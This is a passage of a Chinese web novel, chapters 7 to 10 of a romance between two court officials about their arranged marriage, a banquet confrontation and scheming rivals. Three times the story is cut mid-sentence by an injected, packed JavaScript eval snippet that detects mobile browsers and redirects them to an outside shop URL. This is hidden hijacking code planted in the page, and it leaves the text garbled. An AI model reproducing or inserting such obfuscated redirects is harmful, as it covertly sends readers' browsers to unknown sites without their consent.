“嗯。”虞睿祥点头,“谢卿祖籍江南,家族势力稳固,成亲后修延在朝堂上会有很大保障。” 太后猛地拔高声音:“皇帝!”话出口才惊觉失言,忙捂住嘴,又压低声音瞪他:“皇帝我告诉你,别再想着让延儿去打仗!” 虞睿祥赶紧转移话题,扶着太后走到燕修延面前:“母后要催婚,不如先催修延和谢卿早日完婚,儿臣的皇后人选,等他们成亲后再定不迟。” 燕修延“噌”地从椅子上弹起来,指着自己鼻子:“这话题咋又绕回我身上了?” 太后瞪了虞睿祥一眼,转身拉住燕修延的手,掌心的温度暖烘烘的:“延儿好久没来看过干娘了,走,去干娘宫里,让御膳房给你做你爱吃的桂花糕。” 她又看向谢伟恒,眉眼弯弯:“你也来,本宫有话要对你说。” 不等两人反应,太后已拉着燕修延往外走,金步摇的叮当声混着燕修延“哎哎”的嘟囔声渐渐远去。 谢伟恒望着两人的背影,无奈地摇了摇头,快步跟了上去。 殿内只留下虞睿祥对着满桌奏折失笑,这退婚的事,也算是糊弄过去了。 7. 王大人不介意吧? 慈宁宫的暖阁里燃着银丝炭,暖意融融。燕修延半倚在太后膝头,像只贪恋温暖的小兽。 太后屏退了殿内所有下人,指尖轻轻抚摸着他的发顶,声音软得像棉花:“延儿,干娘瞧着谢侍郎对你是真心实意的好,你为何要退婚?” 燕修延把脸埋在太后衣襟上,闷声闷气地嘟囔:“我也说不上来,就是觉得成亲了就不自由了,好像会被什么东西困住似的。” “傻孩子。”太后笑着拍了拍他的背,“那不如这样,这段时间你先搬去他府邸住些日子,彼此多了解了解再说?” “不要!”燕修延猛地抬头,眼眶微微泛红,“干娘,我不去,去了我就不能来陪你了。” 太后捧起他的脸,指腹擦过他的脸颊,语气又柔又疼:“傻话,怎么会见不到?只要你想来,慈宁宫的大门永远为你敞开。” 她说着转身拿起桌案上的红霞子,轻轻打开——里面铺着明黄色锦缎,一对鎏金点翠簪子静静躺着,流苏上的珍珠随着动作轻轻晃动。 太后拿起簪子在他发间比划着,眼神温柔得能滴出水:“这是你娘当年留给你成亲用的,干娘一直替你好好收着,就等这一天呢。” 她把簪子放回红霞子,又从桌角端过一小碟图纸:“还有这个,是婚服的样式,干娘昨天刚让绣娘画好的,你瞧瞧喜不喜欢。” 燕修延看着图纸上繁复的龙凤纹样,小声说:“干娘,不用这么着急,日子都还没定呢。” 说着他偷偷朝门口瞟了一眼,“对了干娘,谢伟恒在外面站了好久了,天这么冷,要不叫他进来吧?” 太后点了点他的鼻尖,笑得眼尾都堆起了细纹:“这才多大一会就心疼了?” “才没有!”燕修延腾地站起来,转身就往外走。 殿门刚开,守在门口的王嬷嬷便躬身行礼,随即进殿听候吩咐。 燕修延见谢伟恒站在廊下,肩头落了层薄霜,手里还紧紧攥着什么。 他快步走过去,把自己的手帕递过去:“擦擦吧。” 又忍不住怀疑,“这天寒地冻的,你站这还能晒出汗来也是个奇才。” 顿了顿又压低声音,“我干娘要是问你什么难为人的话,你别忍着。” 谢伟恒看着他冻得发红的鼻尖,接过手帕的手指微微蜷缩,低声道:“太后娘娘慈和,不会为难我。” 殿内,王嬷嬷刚跪下听令,太后便吩咐:“先宣谢侍郎进来,再让宫女拿个手炉来,搬张软椅给延儿在廊下坐着等。” “是。”王嬷嬷应声而去,很快便在殿外扬声通报,“太后娘娘宣谢大人进见。” 谢伟恒刚要抬脚,却被燕修延拉住了袖子。 少年踮起脚尖,仔细给他拢了拢外袍的领口,又把被风吹乱的衣襟系好,动作自然又认真。 王嬷嬷在一旁看得清楚,悄悄抿嘴笑,转身引着谢伟恒进殿。 “臣参见太后娘娘。”谢伟恒走到殿中,直挺挺地跪下,身姿端正如松。 太后端着茶盏轻轻吹了吹热气,慢悠悠地问:“叫你来也不为别的,哀家就想问一句,你究竟是出于什么目的,非要娶延儿?” 谢伟恒抬头,目光澄澈而坚定:“回娘娘的话,这是臣儿时便有的心愿,也是燕大人儿时的承诺。” 太后手中的茶盏顿了顿,随即了然地笑了:“延儿五岁下江南回来时跟哀家说要去提亲的小女孩是你吧。” “正是臣。”谢伟恒坦然应道,“还请娘娘替臣隐瞒,待时机成熟臣会向他坦白。” 太后放下茶盏,语气严肃了些:“延儿这性子随他爹娘,野得很,你若想把他困在宅院里,怕是难如登天。” “娘娘多虑了。”谢伟恒叩首道,“臣从未想过约束他,只求能陪在他身边,护他安稳。” 太后看着他诚恳的模样,满意地点点头,对王嬷嬷使了个眼色。 很快,十几箱描金漆木箱子被太监抬着穿过庭院,在暖阁外依次放好。 守在殿外的燕修延见状吓了一跳,心里嘀咕:“谈话就谈话,抬箱子干嘛?难道要碎尸装箱?” 这念头刚冒出来,他自己先打了个寒颤,赶忙凑到门缝边偷听,可殿门隔音极好,什么也听不见。“这门做得也太隔音了吧!”他小声抱怨。 殿内,太后正指着窗外的箱子对谢伟恒说:“那些是延儿他娘留下的聘礼,这些年哀家又添了些,如今他既嫁你,便都当嫁妆陪过去。” 她话锋一转,眼神锐利起来,“谢侍郎,哀家把延儿交给你,他日若他在你府中受了半分委屈,哀家这慈宁宫便是延儿的底气。” “臣谨记娘娘教诲,定当用性命护燕大人周全。”谢伟恒郑重叩首。 “行了,嫁妆和婚服图纸等一切事宜稍后让下人送到你府上。”太后挥了挥手,“你们回去吧。” 谢伟恒刚走出暖阁,就见燕修延正扒着门框偷听,王嬷嬷一开门,他没站稳,差点摔进去。 谢伟恒眼疾手快地扶住他的腰,无奈道:“别冒冒失失的。” 燕修延站稳后拽着他的袖子就往院子里走,一脸警惕地问:“我干娘没罚你吧,那些箱子是干嘛用的?” 谢伟恒哭笑不得:“那是你的嫁妆。” “嫁妆?”燕修延眼睛一亮,甩开他的袖子就要去开箱子,却被谢伟恒拉住了手。 “天凉,我们先回府。”谢伟恒握紧他微凉的手,牵着他往外走。 暮色四合时,马车才驶离宫门。 天边最后一缕霞光染红了檐角飞翘,燕修延窝在软垫里,指尖绕着车帘流苏打转。 从皇宫出来耽搁了许久,只因虞睿祥临时叫去商讨南疆防务,直到暮色沉沉才得以脱身。 “谢伟恒,”他忽然抬头,眼底满是好奇,“干娘在殿里跟你都说了什么?干娘怎么就同意我嫁你了呢?” 谢伟恒正借着车窗外的微光看着书卷,闻言侧过头,月光落在他清隽的侧脸,嘴角噙着丝浅笑:“你亲我一下,我就告诉你。” “你可真不要脸,”燕修延白了谢伟恒一眼后,别过脸坐直身子,梗着脖子道,“反正这婚我本就不想结,真成了亲,我天天在府里上蹿下跳,看你嫌不嫌烦。” “求之不得。”谢伟恒合上书卷,声音温润,“谢府的屋顶够结实,院墙够高,任你闹,我等着。” 马车刚停在谢府门前,管家便递上一张烫金帖子。 燕修延展开一看,眉头瞬间皱起:“李想请吃饭?”他指尖敲着帖子,语气带着几分讥诮,“吃饭是幌子,想看我笑话、探听消息才是真。” 谢伟恒本不喜这种虚与委蛇的场合,索性连服饰都没换,只披了件素色披风便去赴宴。 酒楼包间熏香混着酒气弥漫在空气中。 桌上的佳肴早已凉透,众人却只顾着推杯换盏,目光时不时瞟向端坐主位的谢伟恒,带着几分探究与轻视。 李想端起酒杯,率先开口,语气带着刻意的亲昵:“谢侍郎,昨日早朝若不是燕大人怼的我说不出话,这门婚事我就能劝陛下收回成命了。” “他嫁我,我不也沾光了。”谢伟恒打断他,拿起酒壶给自己添满,动作从容不迫。 众人闻言一愣,随即恍然。 谁不知燕修延是皇帝心尖上的人,谢伟恒娶了他,岂不是等于得了块免死金牌? 有人喝醉了酒,忍不住拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646165|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌嚷嚷:“谢大人这话就差了,依我看,燕大人怕是失了帝心吧?不然陛下怎会把他许给你?谢大人可得小心,别到时候官位没升,反倒惹一身麻烦。” 谢伟恒执杯的手指微顿,眸色未变,声音却冷了几分:“夫夫一体。” “呸!什么夫夫一体!” 邻座的王大人早已喝得酩酊大醉,拍着桌子嚷嚷起来。 “他燕修延不就仗着爹娘是开国功臣,自己又陪陛下长大吗?除了作威作福,他还会干什么?换做是我,定比他做得更好!” 谢伟恒端着酒杯的手猛地收紧,指节泛白,眼底飞快掠过一丝寒意。 李想见状忙打圆场:“王大人喝醉了,胡言乱语呢,谢侍郎别往心里去。” 王大人却越说越起劲:“我没醉!他……” 话音未落,包间的木门“砰”一声被人一脚踹开。 寒风裹挟着灌进来,燕修延斜倚在门框上,玄色披风扫过门槛,嘴角挂着玩世不恭的笑。 “哦?王大人这么能干?那我的官职让给你如何?” 王大人的酒意瞬间醒了大半,看清来人后脸色煞白。 他不过是个从五品的小官,平日里见了燕修延都要点头哈腰的。 李想忙起身,脸上堆起笑意:“燕大人来了,快请坐,我让人再添副碗筷。” “不必了。” 燕修延摆摆手,径直走到谢伟恒身边,抬抬下巴示意他往旁边挪了挪,毫不客气地坐下。 他拿起桌上的酒壶仰头猛灌了一大口,酒液顺着唇角滑落,滴在衣襟上也不在意,随后拿起谢伟恒用过的筷子,夹了块红烧肉塞进嘴里。 “我用谢大人的筷子,王大人不介意吧?毕竟过不了多久,我就是他内宅里的人了。” 王大人僵在座位上,脸上的笑容比哭还难看。 “王大人刚才喝多了,胡言乱语呢。” 李想再次打圆场,给王大人使了个眼色,“他还说要给你和谢侍郎准备新婚贺礼呢。” 王大人如梦初醒,忙点头如捣蒜:“是是是!我刚得了一套文徵明的墨宝,正想送给二位做贺礼!” 燕修延假装信了,笑眯眯地应道:“那便多谢王大人了。” 他虽看不惯李想,但对方毕竟是自己提过的人,在外人面前总得给几分薄面。 “李大人放心。” 燕修延放下筷子,擦了擦唇角,语气慢悠悠的,“我这人向来心胸宽广,不爱计较在背后嚼舌根的人。” 这话一出,王大人刚放松的神经又绷得笔直,筷子都快捏断了。 燕修延瞥了他一眼,心里冷笑,这点东西就想把我糊弄过去? 做梦。 这姓王的糟老头子坏得很,半截身子都入土了,贪起来比年轻些的还狠,早该收拾了。 燕修延没再看他,话锋一转,意有所指:“有什么事呢,我喜欢当面吐槽。” “就像上次李大人被妾室指使着贪污受贿,我不也当着陛下的面明说了?至于最后查出来是不是真被指使,那便不了了之了,毕竟官场嘛,总得留几分情面。” 包间里瞬间鸦雀无声。 开玩笑谁不知燕修延是什么人?和皇帝从小一同长大。 别人不知燕修延自己心里门清,皇帝为了清理先帝留下的隐患,早已暗中让他执掌了监察司,只剩一个名正言顺的理由让他光明正大的执掌。 燕修延是皇帝手下的一把刀,心思自然不会少过于皇帝。 他手里握着多少人的把柄,谁也说不清。 哪怕众人再讨厌他,也得毕恭毕敬,生怕哪天真被他翻出旧账来那就是另一种结局了。 8. 谢大人我们得一起住 王大人咬咬牙,攥着酒杯的指节泛白,指腹因用力而微微颤抖。 他深吸一口气,像是用尽了全身力气才将酒杯端平,杯沿的酒液晃出细小的涟漪。 “下官……下官敬燕大人一杯。” 他声音发紧,带着酒后的含糊与显而易见的慌乱,“方才吃醉了酒,口无遮拦说了些胡话,燕大人海量,还望别放在心上。” 燕修延斜倚在椅背上,一手支着下颌,指尖漫不经心地叩着桌面。 闻言他掀起眼皮,眼底带着几分漫不经心的嘲弄,摆了摆手:“我这好说,自是不会同你计较。” 话音顿了顿,他话锋陡然一转,语气里的笑意淡去,添了几分锐利。 “只是王大人话里话外,似乎对陛下颇有微词,连带着陛下下的旨意也诸多不服啊。” 这顶大的一口锅盖下来,王大人手中的酒杯抓不住了。 哐当—— 清脆的碎裂声陡然响起,王大人手中的酒杯脱手摔在地上,青瓷碎片溅开,残余的酒液在青砖上洇出深色的痕迹。 他脸色煞白,嘴唇哆嗦着竟说不出一句完整的话。 燕修延却像是没看见他的失态,反而往前倾了倾身,眼底的好奇里裹着明晃晃的挑衅:“王大人又要如何?要去陛下面前哭诉我仗势欺人?还是故技重施,用那以死相逼的招数?” 他轻嗤一声,指尖点了点桌面。 “王大人若只会这两招,未免太过无趣,不如我教教你新花样?” “我没有……我绝无此意……”王大人冷汗涔涔,后背的官服已被浸湿。 “燕大人。” 一道沉稳的声音骤然响起,打断了这场明显的刁难。 李想端着酒杯站起身,脸上挂着恰到好处的笑意,“下官也敬您一杯。” 燕修延瞥向他,目光在他新换的官服上扫过,慢悠悠地起身:“哪里的话,该是下官敬您才对。” 他随手拿起谢伟恒面前的白玉酒杯,执壶倒酒时,酒液撞击杯壁发出清越的声响。 “毕竟您刚升了官,如今可是压我一品呢。” 说着,他将酒杯端得极低,杯沿几乎要碰到桌面:“请。” 李想的目光在那只酒杯上停顿了一瞬,随即不动声色地移开,唇角噙着笑:“那也得多谢燕大人在陛下面前美言。” 说罢仰头将杯中酒一饮而尽,喉结滚动间,酒液顺着唇角滑下一滴,被他抬手拭去。 燕修延喝完酒,将酒杯往谢伟恒面前一推,挑眉看向他:“谢大人,我今日借了你的筷子用,又用了你的酒杯,你该不会介意吧?” 谢伟恒正捻着一颗花生的手指顿了顿,抬眼时神色坦然,声音温润:“自然不介意。” 他顿了顿,目光落在燕修延带着笑意的脸上,着重强调“夫人”二字,“毕竟你以后是我的夫人,共用些物件有何不可?” 噗嗤—— 燕修延笑出声,眼角眉梢都染上促狭的笑意,他转头看向满座同僚,声音清亮:“在座的都是同僚,这点小事大家应该也不会介意吧?” “李大人觉得呢?”他特意看向李想。 李想放下酒杯,指尖在杯沿摩挲着:“自然不介意。” 他语气诚恳,眼底却无半分笑意。“朝堂上见二位时常争执,我还担心私下里关系不睦,看来是我多虑了。” 他举起酒杯,“我就在这先预祝二位新婚快乐,和和美美。” 满座的附和声里,谁都看得明白——这二位哪是什么“和和美美”?分明是火星撞地球,只会吵得更凶。夫妻间的“床头吵架床尾和”,在他们这儿怕是要变成“床头吵完床尾接着吵”。 “多谢李大人吉言。” 燕修延扬了扬下巴,忽然偏头看向身侧的谢伟恒,两人距离极近,近到他说话时的气息都能拂过谢伟恒的耳畔。 “我和谢大人定会把日子过好的,对吧?”他眨了眨眼,语气带着刻意的撒娇,“谢大人应该不会让我受委屈吧?” 两人离得近,谢伟恒鼻尖萦绕的却是燕修延身上清冽的冷香,像是雪后松林的气息,干净又带着点凉意。 他沉默地拿过燕修延手中的酒杯,指尖不经意触碰到对方的指腹,温热的触感让他指尖微颤。 片刻后,他白皙的脸颊慢慢爬上一层薄红,连耳根都悄悄染上粉色。 燕修延见状笑得更欢,故意又凑近了些,几乎要贴到谢伟恒耳边:“谢侍郎怎么不说话了?莫不是被我说害羞了?” “谢大人说句好听的话,我家大人或许就不骚扰你啦!” 窗外突然传来一声咋呼,众人循声望去,只见窗棂上倒挂着一颗脑袋,温泽正扒着窗框,笑嘻嘻地探头探脑。 “滚!” 燕修延脸一沉,朝窗外翻了个白眼,随手抄起桌上一根竹筷就朝外扔去。 温泽身形灵活地一躲,筷子“笃”地钉在窗框上。 他非但没走,反而扒着窗户想往里钻:“大人要嫁人啦,咋高兴得连准头都没了?武功退步不少啊!” 话音未落,众人只觉眼前一花,燕修延已如狸猫般蹿到窗边。他一把拽住温泽的衣领,手臂发力,“咚”的一声就把人从窗户里丢了出去。 紧接着,燕修延撑着窗框轻巧一跃,竟直接跳到了隔壁院子,随后便是温泽“哎哟”“大人饶命”的求饶声此起彼伏。 隔壁有燕修延的人在,此刻动静这么大,满桌官员顿时没了饮酒的兴致。宴席草草散场,众人结伴离去,路过隔壁时还能听见断断续续的哀嚎。 宴席散时,众人陆续离席。谢伟恒收拾着东西走在最后,李想见状放慢了脚步,直到与他并肩同行。 廊下的风带着冷意,吹得灯笼轻轻摇晃。 “谢大人。” 李想的声音压得很低,语气里带着几分凝重。 “燕修延始终是个定时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646166|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸弹。陛下想动他,有太后护着未必能动得了;可倘若陛下想动你,他燕修延未必会护着你。” 他侧头看向谢伟恒,眼神恳切,“你自己多留心,这婚能退就尽快退了,莫要引火烧身。” 谢伟恒望着远处摇曳的烛火,沉默片刻后轻轻摇头:“我已写信回江南,请父亲定夺。” 他语气平静,带着几分无奈,“左不过就是成个亲,我与他都是男子,再如何也掀不起什么大浪。” 见他主意已定,李想便不再多劝,只拍了拍他的肩:“你自己决定就好。” 李想登上马车时,车内已坐着魏仲泽。 魏仲泽正摇着折扇,见他进来便要开口,却被李想抬手制止。 李想撩开帘子看了眼外面,确认无人后才放下帘子,车厢内顿时暗了下来,只余窗外透进的微光。 “据儿子观察,谢伟恒并不在意陛下赐婚的深意。” 李想压低声音,“他会答应,多半是看重燕修延的势力。” 魏仲泽收起折扇,“啪”地一声合在掌心:“你刚升了阶品,往后行事需更谨慎。燕修延心思深沉,不比陛下简单,莫要让他抓住把柄。” 他话锋一转,语气忽然轻松起来,“李羽飞在杭州住得可好?” 李想神色猛地一凝,指尖攥紧了衣袖:“儿子不曾探望,不知情况。” 魏仲泽故作惊讶地打开扇子,用扇面挡着半张脸:“哦?没去啊。” 他语气慢悠悠的,“那闲下来时,便去探望探望吧。” 李想没想到他会如此轻易放过这个话题,愣了愣才问:“那燕修延与谢伟恒的婚事……” “婚事?” 魏仲泽闭眼靠在车壁上,唇角勾起一抹意味深长的笑,“有热闹,看便是了。” “谢大人跑这么快?这就想溜?” 马车外忽然传来燕修延的喊声,带着几分戏。 李想掀起车帘一角朝外看去,。只见燕修延把手搭在谢伟恒的肩头,谢伟恒不满的把手抚去,显然颇为无奈。 燕修延见李想看过来便有意无意的向车内看去。李想却放下了帘子,有意阻挡燕修延的视线。 “你我尚未成亲,还请燕大人自重。” 李想放下帘子都能听见谢伟恒这句斥责,可想谢伟恒是有多生气。 魏仲泽语气轻松:“老夫很期待他们成婚后鸡飞狗跳的日子,可惜皇帝在找先帝留下来都宦官,不能向皇帝进言让他们尽快成婚。” 看着李想的马车消失在视野中,燕修延扒着谢伟恒的马车不撒手:“谢大人我们得住一起。” 谢伟恒从另一边上了马车:“燕大人有自己的府邸,为何不能回自己家?” “我不,太后娘娘让我们彼此了解一下,夫君~” 谢伟恒抚了抚胸口,缓缓道:“回家,还请劳烦燕大人把手开。” 他话音未落,燕修延就干脆利落的蹿进马车。 9. 谢大人可千万别憋坏了身子 还未离开的大臣们三三两两地聚在宫门口,对着马车离去的方向纷纷摇头,谢伟恒这性子,是出了名的脸皮薄,平日里连句重话都难得说出口。 朝堂上跟燕修延对阵,三句就被堵得没话说,如今要成了亲,真指望用宅院规矩和那点‘丈夫’的身份压着他?难哟。 马车内,暖炉烧得正旺,却挡不住燕修延翻涌的吐槽欲。 “那人怕不是有毛病!大冷天的,马车里都裹着皮草,他倒好,拿着把折扇在里头扇呀扇的,真嫌热?嫌热倒把身上那貂皮斗篷脱了啊!装模作样给谁看。” 他斜倚在软垫上,手指烦躁地敲着膝盖。 谢伟恒正低头整理着袖口,闻言抬眸:“谁?” “还能有谁?就李想那辆马车里的人呗。” 燕修延翻了个大大的白眼,语气里满是不屑,“那老匹夫以为放下车帘我就看不见了?方才他掀帘子时,我眼角余光早瞥见了,就是把脸挡得严实不知道是谁。” 谢伟恒见状,轻咳一声转移话题:“陛下这次赏赐的金银绸缎、古玩摆件着实不少,怎么你燕府瞧着还是那般冷清,连个像样的摆设都少见?” 燕修延懒洋洋地往谢伟恒身边凑了凑,半边身子都快挂在人身上,语气漫不经心。 “确实,跟你那雕梁画栋的顾府一比,我那宅子是寒酸了点。” 皇帝赏的是多,可耐不住他会花啊,府里能摆上的,已是他特意挑的最便宜的瓷瓶陶罐了。 谢伟恒被他靠得身子微僵,却还是板着脸道:“堂堂正三品大将军,府邸冷清得不能再冷清,传出去就不怕同僚笑话?” “我不怕!” 燕修延梗着脖子反驳,随即又扬起下巴哼了一声,“我府邸冷清,那李想的府邸跟皇宫比起来就差大了。” 他眼神忽然一转,那双总是带着锐气的眼睛瞬间蒙上层水汽,装作可怜兮兮地眨了眨眼,声:“那谢大人作为我未来的夫君,总不能眼睁睁看着我这般寒酸吧?不表示表示?” 话音未落,他忽然一歪身子,整个人都趴在了谢伟恒的肩上,揪着谢伟恒月白色的衣袖,在上面蹭起了莫须有的眼泪:“可怜我们这就要成亲的人了,那负心的谢郎啊,竟让我苦等了十载。” 谢伟恒被他突如其来的动作弄得一愣,半晌才找回自己的声音,语气里带着一丝不易察觉的无奈:“……燕大人今年多大?” “二十一啊!” 燕修延立刻抬头,理直气壮地瞪他,“你这未来丈夫当的真不称职,连我的年纪都记不住!” 谢伟恒看着他眼底那点刻意装出来的“委屈”,嘴角几不可察地抽了抽:“二十一啊,我还以为……我娶你都已经有十载了呢。” “死鬼!” 燕修延立刻眉开眼笑,伸手戳了戳谢伟恒的脸颊,语气黏糊糊的,“怎么连上辈子的账都算上啦~” 谢伟恒闭了闭眼,深吸一口气:“燕大人,你知不知羞?” “那咋了?” 燕修延非但没退开,反而得寸进尺地往他颈边凑了凑,声音带着笑意,“你是我未来夫君,跟你亲近有什么好害羞的。” 温热的呼吸轻轻喷洒在谢伟恒的脖颈处,带着淡淡的暖炉香气,让他脖颈的肌肤微微发麻。 谢伟恒放在腿侧的手不自觉地蜷了蜷,指尖微微泛白,眼皮也轻颤了两下。 不轻不重地唤了句:“燕修延。” 燕修延正要再说些什么,忽然耳朵一动,猛地直起身,贴在车窗上,手指轻轻掀起帘子一角,眼神瞬间变得锐利起来。 “啧,这老匹夫,跟了一路也不嫌累得慌。”他低声骂了一句,语气又恢复慵懒。 车窗外,风似乎更大了些,隐约能听到身后不远处传来车轮碾过积雪的咯吱声,那辆乌木马车果然还不远不近地缀着。 燕修延回头看向谢伟恒。 谢伟恒依旧维持着方才的坐姿,脊背挺得笔直,双手规矩地搁在膝头,仿佛方才那片刻的动摇从未发生。 车厢内一时静了下来,只有暖炉里木炭偶尔发出轻微的噼啪声,混着窗外隐约的风声。 燕修延打量他看了半晌。 心道谢伟恒看起来似乎和朝堂上不太一样,怕不是白天□□娘训狠了,还没缓过劲来? 他忍不住抬手扫了扫鼻尖,放软了语气安慰道:“好啦,别板着脸了。干娘给我的那些嫁妆,回头我分你一半。” 谢伟恒缓缓掀起眼皮,眸色沉静如深潭,里面清晰地映着燕修延的影子。 燕修延正想从那双眼眸里探究些什么,谢伟恒却已移开视线,望向窗外飞逝的街景,声音平淡无波:“太后娘娘说了,聘礼和嫁妆婚后全由你支配,不必分我。” “哎?”燕修延顿时把那点探究抛到了脑后,摆摆手道,“聘礼就算了吧,哪有夫郎惦记夫家聘礼的道理?传出去要被人嗤笑的。” “聘礼成婚后本就是夫妻共同之物,任由你支配天经地义。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646167|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟恒转过头看他,语气认真,“况且有太后娘娘金口玉言在,谁会嗤笑?” “我会!” 燕修延立刻梗着脖子接话,像只护食的小兽,“既然是给我的,那就得听我的规矩!我说不要聘礼就不要!” 谢伟恒看着他气鼓鼓的样子,眼底掠过一丝极淡的笑意,颔首道:“嗯,你说了算。” 燕修延反倒没了兴致,他看得出来,谢伟恒是真对这些嫁妆毫不在意。 十几箱啊!可不是一两箱的寻常物件,里面光是江南织造的云锦就有好几匹,还有太后私库里的古董玉器。 这等泼天富贵摆在眼前,居然半分不动心? 他转念一想又觉得正常,谢伟恒祖籍江南,谢家在那边经营了几代,田产商铺遍布江南,本就是泼天的富贵,对钱没欲望很正常。 燕修延又不老实起来,悄悄挪过去,把下巴轻轻抵在谢伟恒的肩膀上,温热的呼吸扫过对方耳廓,声音压得极低,带着几分狡黠的试探:“谢大人这般清心寡欲,可曾有过?” “燕!修!延!” 三个字几乎是从谢伟恒齿缝里挤出来的,他耳根瞬间红得能滴出血来,连带着脖颈都染上一层薄红,方才的平静荡然无存。 燕修延见他这副模样,顿时心满意足地挪回车窗边,靠着冰凉的车壁悠哉道:“谢大人可千万别憋坏了身子。往后成了亲,我要是不满足,可是会自己卷铺盖跑的~” 谢伟恒深吸一口气,偏过头看他,眼神里带着几分无奈,却又藏着不易察觉的认真:“我明日便去面见太后。” “去呗~” 燕修延满不在乎地摆摆手,手指敲着车窗哼起小调,“我干娘最疼我,肯定向着我……” 燕修延见谢伟恒没应声,脸上的漫不经心瞬间敛了去。 他身子往前一倾,膝盖碰到谢伟恒的膝头,:“你还真要去跟干娘说聘礼的事啊?” 谢伟恒依旧维持着侧脸望窗的姿势,指尖在膝头轻轻点着,既没点头也没摇头,车厢里一时只剩暖炉炭火偶尔噼啪轻响。 燕修延见状,立刻换上副讨好的笑,眉眼都弯成了月牙,手不自觉地想去拉谢伟恒的袖子,又在半空中停住:“别啊谢大人,方才是我口无遮拦说了浑话,你大人有大量别往心里去。下次……下次我一定不乱说了。” 等干娘那十几箱嫁妆到了自己手里,往后日子还长,想说什么还不是看他心情?到时候再变着法儿逗这木头美人,保管比现在更有趣。 10. 深夜佛堂 谢伟恒指尖搭在马车扶手上,指节随着车身颠簸轻轻叩了叩,掀开车帘一角时,檐角挂着的宫灯正晃过暖黄的光,映得他眼底几分清明。 “燕大人,到了。” 他侧头看过去,见燕修延正蜷在对面的软垫上,指尖无意识绞着腰间的玉带,到了府邸门口,却半点没有起身的意思,便又补了句,“该下车了。” 燕修延回了神,双手在膝头搓了搓,指尖还带着些方才攥着暖炉的热度。 他往前凑了凑,布料摩擦出细碎的声响:“谢大人,你先应我一声,明日别进宫呗?” 谢伟恒将车帘放了回去,隔绝了外面的夜色,车厢里顿时暗了几分。 他抬手按了按鬓角,语气稳得没波澜:“不行。我有要事需向陛下禀报,耽搁不得。” “要事?” 燕修延挑眉,忽然伸手掀开了另一边的车帘,对着外面候着的小厮扬声吩咐,“去燕府!今晚你们家谢大人跟我睡。” 小厮本还垂手站着,听见这话猛地抬起头,眼睛瞪得溜圆,嘴里“啊”了一声又赶紧闭上。 他偷偷往谢伟恒那边瞥了眼,心里直犯嘀咕:方才路过燕府时怎么不告诉他呢。 “燕修延。” 谢伟恒的声音沉了沉,伸手握住他还搭在车帘上的手腕,指腹贴着他腕间微凉的皮肤,低声道,“已经很晚了。莫要再折腾。” 燕修延却反手攥住他的手,指尖用力攥得指节发白,活像怕人跑了似的。 他耍无赖,声音却比刚才低了些:“我不管。你明日进宫肯定要说我私吞——这是你府邸,明日你肯定有办法逃出去,去我府邸才保险。今晚你就跟着我睡,明我拦着大门,看你怎么出去!” 谢伟恒被他气笑了“别闹。我进宫是真有正事。” “正好!” 燕修延立刻顺坡下驴,“我也有正事,明日我随你一同进宫,我府邸离皇宫还近些。” 谢伟恒看着他这副模样,指尖在他手背上轻轻掐了一下,才慢悠悠地收回手,抬手揉了揉眉心。 指腹蹭过眉心时,正好掩住了眼底漾开的那点笑意,声音里还带着点无奈的纵容:“罢了,随你,谢厮,回燕府。” “是!”谢厮这才回过神,赶紧应了声,转身往车夫那边跑去,“车夫,掉头,去燕大人府上!” 马车轱辘碾过青石板路,发出“轱轳轳”的声响,渐渐朝着燕府的方向远去,车灯光影在巷墙上拉得越来越长,又慢慢淡了下去。 不远处的暗巷里,另一辆马车静静停着,车帘拉得严实,只留了一道极细的缝。 李想正凑在缝边看着燕修延那辆马车消失的方向,收回目光时眼里闪着光。 “义父,燕修延亲口说要拦着谢伟恒,还提了私吞的事,应该不会有假。” 车厢里,魏仲泽斜倚在软垫上,双眼闭着像是在假寐,手指却在膝头的锦缎上轻轻敲着。 听见李想的话,他眼皮都没抬一下,声音淡淡的,带着点不容置疑的笃定:“他私吞是肯定的。十几箱?定然不止。” 他顿了顿,指尖停在锦缎上那朵暗纹牡丹的花瓣上,语气冷了几分:“皇帝刚登基那会,抄那批旧人的家,不就是他燕修延去的?” 宫里谁不知道,但凡参与抄家的,哪有不私藏些东西的?这是多少年传下来的规矩,他燕修延难道还能免俗? 李想点头如捣蒜:“义父说得是。那咱们……要不要在朝堂上参燕修延一本,正好谢伟恒也在,说不定还能让他做个证。” 魏仲泽这才缓缓睁开眼,眸子里没什么温度,瞥了李想一眼:“这件事你自己看着办。” “愿意做,就让王大人去做,成了最好;不成也赖不到你头上。该怎么做不必再来问我。” 李想应了声“是”,心里却已经有了主意——燕修延这些年在陛下跟前得宠,早就碍了不少人的眼,这事若是成了,岂不是大功一件? 